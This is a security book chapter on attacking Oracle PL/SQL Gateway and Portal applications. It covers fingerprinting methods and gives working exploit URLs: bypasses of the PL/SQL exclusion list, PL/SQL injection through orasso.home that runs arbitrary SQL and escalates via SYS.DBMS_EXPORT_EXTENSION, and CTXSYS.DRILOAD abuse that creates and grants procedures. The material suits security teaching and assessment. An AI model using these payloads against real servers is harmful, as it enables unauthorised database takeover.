Attacking Oracle PL SQL Web Applications

Oracle PL SQL Gateway Architecture

The Oracle PL/SQL Gateway provides the capability to execute PL/SQL procedures in an Oracle database server via the web. It provides a gateway, a seamless path from the Internet, into a backend Oracle database server over the web. When a user connects with a web browser to a web server running the Oracle PL/SQL Gateway, the Gateway simply proxies the user's request to the database server where it is executed. The Oracle PL/SQL Gateway is built into Oracle Portal, Oracle Application, Server, and the Oracle HTTP Server, as shown in Figure 9-1.

Figure 9-1: The Oracle PL/SQL Gateway

Recognizing the Oracle PL SQL Gateway

When performing any kind of security assessment, it's important to know what technology you're actually dealing with. To that end, this section briefly examines how to recognize Oracle Portal when you come across it.

PL SQL Gateway URLs

URLs for PL/SQL web applications are normally easily recognizable and generally start with the following (xyz can be any string and represents a Database Access Descriptor, which you will learn more about later):

http://server.example.com/pls/xyz

http://server.example.com/xyz/owa

http://server.example.com/xyz/plsql

While the second and third of these examples represent URLs from older versions of the PL/SQL Gateway, the first is from more recent versions running on Apache. In the plsql.conf Apache configuration file, /pls is the default, specified as a Location with the PLS module as the handler. The Location need not be /pls, however. The absence of a file extension in a URL could indicate the presence of the Oracle PL/SQL Gateway. Consider the following URL:

http://server/aaa/bbb/xxxxx.yyyyy

If xxxxx.yyyyy were replaced with something along the lines of "ebank.home," "store.welcome," "auth.login," or "books.search," then there's a fairly strong chance that the PL/SQL Gateway is being used. You can perform a few simple tests to verify this, but before looking at these let's fully explore the URL syntax:

http://server/pls/xyz/pkg.proc

In this URL, xyz is the Database Access Descriptor, or DAD. A DAD specifies information about the database server so that the PL/SQL Gateway can connect. It contains information such as the TNS connect string, the user ID and password, authentication methods, and so on. These DADs are specified in the dads.conf Apache configuration file in more recent versions or the wdbsvr.app file in older versions. Some default DADs include the following:

 ORASSO
 PORTAL
 SIMPLEDAD
 SSODAD

The pkg in the URL shown above is the name of a PL/SQL package stored in the backend database server, and proc is a procedure exported by the package. The best way to think of a PL/SQL package is as a program that lives in an Oracle database server, with each procedure exposing a bit of functionality that can be called. For example, you could write a Calculator PL/SQL package. The package would be called CALC and it would have procedures call ADD, SUBTRACT, DIVIDE, and MULTIPLY. You could then execute these procedures via the PL/SQL Gateway:

http://server/pls/xyz/calc.add?x1=10&y=20

The source for the CALC package is as follows:

-- CALC PL/SQL Package
-- create the package specification

CREATE OR REPLACE PACKAGE CALC IS
 PROCEDURE ADD(X NUMBER, Y NUMBER);
 PROCEDURE SUBTRACT(X NUMBER, Y NUMBER);
 PROCEDURE DIVIDE(X NUMBER, Y NUMBER);
 PROCEDURE MULTIPLY(X NUMBER, Y NUMBER);
END CALC;
/
-- create package's body
CREATE OR REPLACE PACKAGE BODY CALC IS
 PROCEDURE ADD(X NUMBER, Y NUMBER) IS
 BEGIN
 HTP.PRINT(X + Y);
 END ADD;
 PROCEDURE SUBTRACT(X NUMBER, Y NUMBER) IS
 BEGIN
 HTP.PRINT(X - Y);
 END SUBTRACT;
 PROCEDURE DIVIDE(X NUMBER, Y NUMBER) IS
 BEGIN
 HTP.PRINT(X / Y);
 END DIVIDE;
 PROCEDURE MULTIPLY(X NUMBER, Y NUMBER) IS
 BEGIN
 HTP.PRINT(X * Y);
 END MULTIPLY;
END CALC;
/
GRANT EXECUTE ON CALC TO PUBLIC;

This brings up an interesting point: With the CALC package possibly existing in any one of many schemas, how does Gateway "know" where to look? The username specified in the DAD usually indicates the schema, but remember from the chapter opener that Gateway is just that: a gateway into the database. If we specify a different schema, we can get access to other packages. Assuming for a moment that SCOTT created the CALC package, we could gain access to it - even if the schema specified in the DAD were FOO:

http://server/pls/xyz/SCOTT.calc.add?x1=10&y=20

This is one of the key weaknesses of the Oracle PL/SQL Gateway.

Oracle Portal

The Oracle Portal application is built upon the Oracle PL/SQL Gateway. If you see a URL similar to

http://server.example.com/portal/page?_pageid=number&_dad=portal&_schema
=PORTAL

then the server is running the Gateway. Converting a Portal URL like the preceding one to a Gateway URL requires you to take the dad parameter and append it to /pls:

http://server.example.com/pls/portal/null

We'll get to null in a minute. Having explained the URL syntax, let's look at some simple ways of confirming whether the PL/SQL Gateway is running.

Verifying the Existence of the Oracle PL SQL Gateway

Sometimes it might not be apparent that an application is using the Oracle PL/SQL Gateway. This section describes some methods you can use to test that.

The Web Server HTTP Server Response Header

By getting the HTTP Server response header, you can often tell whether the PL/SQL Gateway is present. Here are some valid responses that you might see:

Oracle-Application-Server-10g
Oracle-Application-Server-10g/10.1.2.0.0 Oracle-HTTP-Server
Oracle-Application-Server-10g/9.0.4.1.0 Oracle-HTTP-Server
Oracle-Application-Server-10g OracleAS-Web-Cache-10g/9.0.4.2.0 (N)
Oracle-Application-Server-10g/9.0.4.0.0

Oracle HTTP Server Powered by Apache
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3a
Oracle HTTP Server Powered by Apache/1.3.19 (Unix) mod_plsql/3.0.9.8.3d
Oracle HTTP Server Powered by Apache/1.3.12 (Unix) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.12 (Win32) mod_plsql/3.0.9.8.5e
Oracle HTTP Server Powered by Apache/1.3.19 (Win32) mod_plsql/3.0.9.8.3c
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/3.0.9.8.3b
Oracle HTTP Server Powered by Apache/1.3.22 (Unix) mod_plsql/9.0.2.0.0

Oracle_Web_Listener/4.0.7.1.0EnterpriseEdition
Oracle_Web_Listener/4.0.8.2EnterpriseEdition
Oracle_Web_Listener/4.0.8.1.0EnterpriseEdition
Oracle_Web_listener3.0.2.0.0/2.14FC1

Oracle9iAS/9.0.2 Oracle HTTP Server
Oracle9iAS/9.0.3.1 Oracle HTTP Server

These were taken from servers discovered on Google by searching for "inurl:plsql oracle" and "inurl:owa oracle".

NULL Test and Others

If you're not sure whether an application is using the Oracle PL/SQL Gateway, you can perform a few quick tests for that information. If the application is using the Gateway, then setting the procedure to NULL should cause the web server to return an empty 200 response:

http://server/pls/dad/null

This happens because NULL, in PL/SQL, is equivalent to no-operation; if you get a 200 response with an empty body, you can infer that the no-operation successfully completed.

Signature Test

In later versions of the Gateway, requesting OWA_UTIL.SIGNATURE as the procedure should result in a 403 Forbidden response:

http://server/pls/dad/owa_util.signature

Here, we get a forbidden response because there is a security risk with this procedure and Oracle Portal prevents access to it by default. If you're dealing with an early version of Oracle Portal, whereby access can be gained to OWA_UTIL, then you should get a response similar to

 "This page was produced by the PL/SQL Web Toolkit on date"

or

 "This page was produced by the PL/SQL Cartridge on date"

How the Oracle PL SQL Gateway Communicates with the Database Server

Using a standard client such as SQL*Plus, a normal user can execute PL/SQL procedures as follows:

SQL> exec package.procedure('foo');

Alternatively, a user could execute the procedure in an anonymous PL/SQL block as follows:

SQL> declare
buff varchar2(20):='foo';
begin
package.procedure(buff);
end;
/

The PL/SQL Gateway essentially does the same thing. It takes the name of the package and procedure requested by the user and embeds it within an anonymous block of PL/SQL, sending it over to the database server for execution. Over time, the exact content of the anonymous PL/SQL block changes, but if we requested http://server/pls/dad/foo.bar?xyz=123 today, it would look like this:

1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;

8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';
13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__,
complex_list__, true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar(XYZ=>:XYZ);
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time - start_time__;
43 end;

The key lines to note are 19 and 24. On line 19 the user's request is checked against a list of known "bad" strings. This forms part of the PL/SQL exclusion list, which you will learn more about later. If the user's requested package and procedure do not contain bad strings, then the procedure is executed on line 24. The XYZ parameter is passed as a bind variable. Later you'll learn how to manipulate your request so that you can embed arbitrary PL/SQL in this anonymous block - thus gaining full control over the backend database server on which it executes.

Attacking the PL SQL Gateway

This section looks at ways of attacking the PL/SQL Gateway. The manner in which this is done depends on the patch level. It makes for interesting reading and provides an insight into Oracle's approach to patching security flaws.

The PLSQL Exclusion List

Earlier you saw how it is possible to gain access to any procedure (depending on permissions) by specifying the schema in which the package exists. This presents a clear security risk. To thwart this risk, Oracle introduced a PLSQLExclusionList. This list initially contained a number of known bad strings that might appear in a request made by an attacker. The list contains the following entries:

OWA*
SYS.*
DBMS_*
HTP.*
HTF.*
UTL_*

Because there are known attacks for each of these, Oracle wanted to prevent access to packages that had names matching these criteria. Over the past five years several bugs have allowed attackers to bypass the PL/SQL exclusion list and gain access to these packages. For example, consider the OWA_UTIL package owned by SYS. This package contains a procedure called CELLSPRINT that enables an attacker to run arbitrary SELECT queries. In a server that doesn't have the exclusion list, a query could be executed as follows:

http://server.example.com/pls/dad/owa_util.cellsprint?p_thequery=select+
1+from+dual

Once the exclusion list was added, direct attempts to access this package would result in a "403 Forbidden" response. However, this first patch could be bypassed trivially by placing a newline character before the package:

http://server.example.com/pls/dad/%0Aowa_util.cellsprint?p_thequery=sele
ct+1+from+dual

Oracle patched this but the next patch could also be defeated. This time the problem was due to the backend database server treating the hex byte 0xFF as a Y, whereas the Gateway does not. Therefore, by requesting

http://server.example.com/pls/dad/S%FFS.owa_util.cellsprint?p_thequery=
select+1+from+dual

an attacker could once again access the package - the %FF is converted to a Y by the database, making the schema name SYS. This problem was caused due to internationalization features.

The patch for this could be defeated by enclosing the name of the schema in double quotes:

http://server.example.com/pls/dad/" SYS".owa_util.cellsprint?p_thequery=
select+1+from+dual

This broke the pattern matching. However, this didn't work on the 10g Application Server because this version of the PL/SQL Gateway converted any uppercase characters to lowercase, making a request to "SYS" as "sys". Thus, Oracle would fail to find the package because quoted identifiers are case-sensitive. However, the 10g Application Server could be defeated by inserting a goto label before the package name:

http://server.example.com/pls/dad/<>owa_util.cellsprint?p_thequery=
select+1+from+dual

The next patch could be defeated by inserting arbitrary SQL elements in various areas.

If a user requests

http://server.example.com/pls/dad/FOO.BAR

the following PL/SQL is executed:

1 declare
2 rc__ number;
3 start_time__ binary_integer;
4 simple_list__ owa_util.vc_arr;
5 complex_list__ owa_util.vc_arr;
6 begin
7 start_time__ := dbms_utility.get_time;
8 owa.init_cgi_env(:n__,:nm__,:v__);
9 htp.HTBUF_LEN := 255;
10 null;
11 null;
12 simple_list__(1) := 'sys.%';

13 simple_list__(2) := 'dbms\_%';
14 simple_list__(3) := 'utl\_%';
15 simple_list__(4) := 'owa\_%';
16 simple_list__(5) := 'owa.%';
17 simple_list__(6) := 'htp.%';
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('foo.bar', simple_list__,
complex_list__,
true))) then
20 rc__ := 2;
21 else
22 null;
23 orasso.wpg_session.init();
24 foo.bar;
25 if (wpg_docload.is_file_download) then
26 rc__ := 1;
27 wpg_docload.get_download_file(:doc_info);
28 orasso.wpg_session.deinit();
29 null;
30 null;
31 commit;
32 else
33 rc__ := 0;
34 orasso.wpg_session.deinit();
35 null;
36 null;
37 commit;
38 owa.get_page(:data__,:ndata__);
39 end if;
40 end if;
41 :rc__ := rc__;
42 :db_proc_time__ := dbms_utility.get_time - start_time__;
43 end;

Note that on line 19, a check on the requested package and procedure name, FOO.BAR, is made against a list of known "bad" values likely to derive from an attack. As well as check for strings in the simple list, it checks for special characters, too.

If a user then requests

http://server.example.com/pls/dad/INJECT'POINT

the following PL/SQL is executed:

..
18 simple_list__(7) := 'htf.%';
19 if ((owa_match.match_pattern('inject'point', simple_list__,
complex_list__, true))) then
20 rc__ := 2;
21 else

22 null;
23 orasso.wpg_session.init();
24 inject'point;
..

An error is generated in the error log: "PLS-00103: Encountered the symbol ‘POINT' when expecting one of the following…" This is due to a SQL injection problem. To compromise a server, an attacker only needs to build and inject a specific query.

There are a few hurdles to overcome. First, they're limited to three blocks of 30 characters separated by a period - like so:

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB.CCCCCCCCCC
CCCCCCCCCCCCCCCCCCCC

Second, anything they inject can also be found on line 24 - and as they've had to break out with a single quote, the SQL will be imbalanced on this line. They can resolve this by making the first two bytes of their inject string a double minus.

If they now request

http://server.example.com/pls/dad/--'

then this gives them

if ((owa_match.match_pattern('--'', simple_list__, complex_list__,
true))) then

on line 19 and

--';

on line 24.

Now they need to close the brackets:

http://server.example.com/pls/dad/--')))

This gives them

if ((owa_match.match_pattern('--')))', simple_list__,
complex_list__,true))) then

on line 19 and

--')));

on line 24.

Once this is done they finish the IF with a THEN:

http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2

This makes line 19

if ((owa_match.match_pattern('--'))) then rc__:=2', simple_list__,
complex_list__, true))) then

and line 24

--'))) then rc__:=2;

Now they can close with a semicolon and another double minus:

http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;--

This makes line 19…

if ((owa_match.match_pattern('--'))) then rc__:=2;--',
simple_list__,complex_list__, true))) then

and line 24…

--'))) then rc__:=2;--;

This returns a "403 Forbidden" response - exactly what is expected at this stage. It's returning forbidden because OWA_MATCH will return true due to the inject string starting with a double minus. However, that's irrelevant because an attacker can inject a procedure between this last semicolon and the last double minus, ensuring they end their injected procedure with a semicolon:

http://server.example.com/pls/dad/--')))%20then%20rc__:%3D2;XXXXXXXX;--

By placing arbitrary SQL where XXXXXXXX is, an attacker can cause it to execute. Due to the limitations mentioned earlier, an attack can prove difficult (but not impossible), and an easier method exists.

First, the attacker needs to find a PL/SQL procedure that takes no parameters, as shown in this example:

JAVA_AUTONOMOUS_TRANSACTION.PUSH
XMLGEN.USELOWERCASETAGNAMES
PORTAL.WWV_HTP.CENTERCLOSE
ORASSO.HOME
WWC_VERSION.GET_HTTP_DATABASE_INFO

If the attacker requests

http://server.example.com/pls/dad/orasso.home?FOO=BAR

the server should return a "404 File Not Found" response because the orasso.home procedure does not require parameters and one has been supplied. However, before the 404 is returned, the following PL/SQL is executed:

..
..
if ((owa_match.match_pattern('orasso.home', simple_list__,
complex_list__,
true))) then
 rc__ := 2;
else
 null;
 orasso.wpg_session.init();
 orasso.home(FOO=>:FOO);
..
..

Note the presence of FOO in the attacker's query string. They can abuse this to run arbitrary SQL. First, they need to close the brackets:

http://server.example.com/pls/dad/orasso.home?);--=BAR

This results in the following PL/SQL being executed:

orasso.home();--=>:);--);

Note that everything after the double minus (--) is treated as a comment.

This request will cause an internal server error because one of the bind variables is no longer used, so the attacker needs to add it back. As it happens, it's this bind variable that is the key to running arbitrary PL/SQL.

For the moment, they can just use HTP.PRINT to print BAR, and add the needed bind variable as :1:

http://server.example.com/pls/dad/orasso.home?);HTP.PRINT(:1);--=BAR

This should return a 200 with the word "BAR" in the HTML. What's happening here is that everything after the equals sign - BAR in this case - is the data inserted into the bind variable.

Using the same technique it's possible to also gain access to owa_util again:

http://server.example.com/pls/dad/orasso.home?);OWA_UTIL.CELLSPRINT(:1);
--=SELECT+USERNAME+FROM+ALL_USERS

To execute arbitrary SQL, including DML and DDL statements, the attacker inserts an execute immediate :1:

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1
;--=select%201%20from%20dual

Note that the output won't be displayed. This can be leveraged to exploit any PL/SQL injection bugs owned by SYS, thus enabling an attacker to gain complete control of the backend database server:

http://server.example.com/pls/dad/orasso.home?);execute%20immediate%20:1
;--=DECLARE%20BUF%20VARCHAR2(2000);%20BEGIN%20
BUF:=SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES
('INDEX_NAME','INDEX_SCHEMA','DBMS_OUTPUT.PUT_LINE(:p1);
EXECUTE%20IMMEDIATE%20''CREATE%20OR%20REPLACE%20PUBLIC%20SYNONYM%20BREAK
ABLE%20FOR%20SYS.BREAKABLE'';END;--','SYS',1,'VER',0);END;

As of November 25, 2005, this flaw remains unpatched and exploitable. It is assumed that this will be patched in the next Critical Patch Update:

• http://www.oracle.com/technology/deploy/security/alerts.htm

Of course, it might be unnecessary to bypass the PL/SQL exclusion list. For example, in Oracle 9x database servers, the CTXSYS user is a DBA, and many of the PL/SQL packages owned by CTXSYS are vulnerable to SQL injection - for example, the DRILOAD package. This package has a procedure - namely, VALIDATE_STMT - that basically takes a user-supplied query and executes it. This can be abused over the web. One thing to note here is that non-select SQL requests may seem like they're not working. This is because when you call the VALIDATE_STMT procedure, if you're not doing a select, the procedure returns the following:

ERROR at line 1:
ORA-06510: PL/SQL: unhandled user-defined exception
ORA-06512: at "CTXSYS.DRILOAD", line 42
ORA-01003: no statement parsed
ORA-06512: at line 1

This is sent back to the web server, so the web server returns a "404 file not found" response. To test whether access can be gained, requesting

http://server.example.com/pls/dad/CTXSYS.DRILOAD.VALIDATE_STMT?SQLSTMT=S
ELECT+1+FROM+DUAL

should return an empty HTML page with a 200 response. If so, then the following should also work:

http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=C
REATE+OR+REPLACE+PROCEDURE+WEBTEST+AS+BEGIN+HTP.PRINT('hello');+END;

This should return a 404 but it creates a package called WEBTEST in the CTXSYS schema.

Requesting

http://server.example.com/pls/dad/ctxsys.driload.validate_stmt?sqlstmt=G
RANT+EXECUTE+ON+WEBTEST+TO+PUBLIC

grants PUBLIC the execute permission on the WEBTEST procedure, and requesting

http://server.example.com/pls/dad//ctxsys.webtest

returns "hello". What has happened here? Our first request creates a procedure called WEBTEST that uses HTP.PRINT to write out "hello". This procedure is created and owned by CTXSYS. The second requests grants PUBLIC the execute permission on the WEBTEST procedure. Finally, we can call it - the last request. It should be obvious from this just how dangerous this whole attack and vulnerability can be.

Wrapping Up

This chapter has demonstrated how Oracle Application Server can be a gateway into breaking into an Oracle backend. Attacks like this go through the firewall and can be launched by attackers from the Internet. It is critical that patches are kept up-to-date with such exposed servers.